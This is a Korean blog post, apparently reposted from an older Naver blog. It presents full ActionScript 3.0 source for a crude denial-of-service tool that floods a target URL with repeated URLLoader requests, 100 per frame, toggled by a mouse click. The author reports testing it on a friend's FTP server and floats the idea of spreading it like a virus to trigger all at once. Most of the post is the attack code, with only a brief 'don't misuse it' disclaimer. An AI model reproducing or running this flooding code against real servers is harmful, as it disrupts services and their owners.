네이버블로그 시절 고대유물 복원
============================================
람쥐.
A.S 3.0 의 클래스 중에 이런게 있어요.
https://help.adobe.com/ko_KR/FlashPlatform/reference/actionscript/3/flash/net/URLLoader.html
대충 설명하자면 URL의 내용을 받아오는건데
이걸로 초당 미친듯이 URL 내용을 다운로드해대면 디도스가 구현되지 않을까 생각해보고 만들어 보았어요.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
package
{
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.events.MouseEvent;
import flash.events.Event;
public class Main extends Sprite
{
public var strTarget: String = "http://target.url/";
public var ur: URLRequest = new URLRequest(strTarget);
public var ul: URLLoader = new URLLoader();
public var b: Boolean = false;
public function Main(): void
{
stage.addEventListener(MouseEvent.CLICK, fddos);
}
public function fddos(e: MouseEvent): void
{
if (b)
{
stage.removeEventListener(Event.ENTER_FRAME, frun);
b = false;
}
else
{
stage.addEventListener(Event.ENTER_FRAME, frun);
b = true;
}
}
public function frun(e: Event): void
{
for (var i: int = 0; i < 100; i++)
{
ul.load(ur);
}
}
}
}
|
cs |
일단 코드는 이렇게 생겼어요.
이 글을 보시는 분이 있을지는 모르겠지만 악용은 말아주세요.
타겟은 친구놈의 ftp 서버.
작동결과는 WireShark에 패킷이 쭈루룩 잡히긴 하는데 화력이 약해서 안뻗더군요.
아무튼
"작동은 하는데" 화력이 약하다.
이제 이걸 바이러스처럼 뿌려댄다음 특정 스위치로 한꺼번에 작동시킬수 있게 한다면 엄청난 물건이 나오겠군요.
그런데 그건 범죄잖아요?
안될거야 아마.
'연구글 > A.S 3.0' 카테고리의 다른 글
cStream - NetStream을 쓰기 편하게 개조해 보았습니다. (0) | 2020.08.19 |
---|---|
cSocket - XMLSocket를 쓰기 편하게 개조해 보았습니다. (0) | 2020.08.19 |
디도스를 개량해 보았습니다. (0) | 2020.08.19 |